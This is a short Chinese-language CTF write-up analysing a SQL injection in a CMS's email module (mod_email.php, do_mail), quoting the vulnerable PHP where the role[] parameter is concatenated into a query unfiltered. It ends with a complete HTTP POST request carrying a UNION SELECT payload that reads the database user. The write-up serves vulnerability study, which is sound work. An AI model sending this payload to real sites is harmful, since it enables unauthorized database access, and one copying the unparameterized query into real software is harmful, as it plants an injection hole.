CTF比赛中出了这个CMS的题 下载回源码看了下

问题出在module/mod_email.php第147行左右

public function do_mail(){
global $db;
$title = ParamHolder::get("title");
$msg = ParamHolder::get("email_s");
$msg .= ParamHolder::get("email_m");
$roles = ParamHolder::get("role");
$type = ParamHolder::get("type");
$user_email = ParamHolder::get('users');
$send_id = SessionHolder::get("user/id");
$time = time();
$ok = 0;
.............省略
else{//邮件群发
foreach ($roles as $k=>$row){
$sql = "select id,login,email from ".Config::$tbl_prefix."users where s_role='{".$row."}'";
$res = $db->query($sql);
$emails = $res->fetchRows();
if (!empty($emails)) {
foreach ($emails as $eml){
if($this->send_mail($title,$msg,$eml['email'])){
$ok++;
$sql = "insert into ".Config::$tbl_prefix."emails(`title`,`content`,user_id,user_name,is_mail,send_id,is_read,is_ok,create_time) values('{$title}','{$msg}','{$eml['id']}','{$eml['login']}',1,{$send_id},0,1,'{$time}')";
$db->query($sql);
}else{
$sql = "insert into ".Config::$tbl_prefix."emails(`title`,`content`,user_id,user_name,is_mail,send_id,is_read,is_ok,create_time) values('{$title}','{$msg}','{$eml['id']}','{$eml['login']}',1,{$send_id},0,0,'{$time}')";
$db->query($sql);
$s_err[] = $eml['login'];
}
}
}else{

SQL语句$sql = "select id,login,email from ".Config::$tbl_prefix."users where s_role='{".$row."}'";

其中SQL语句中的$row为遍历$roles后的内容,没有做过滤导致SQL注入

Payload:

POST /index.php?_a=do_mail&_m=mod_email HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Host: localhost
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Content-Length: 112
title=aa&email_s=a&email_m=a&type=a&users=aaaa'|aaa&role[]=abdc}'+union+select+
1,user(),3#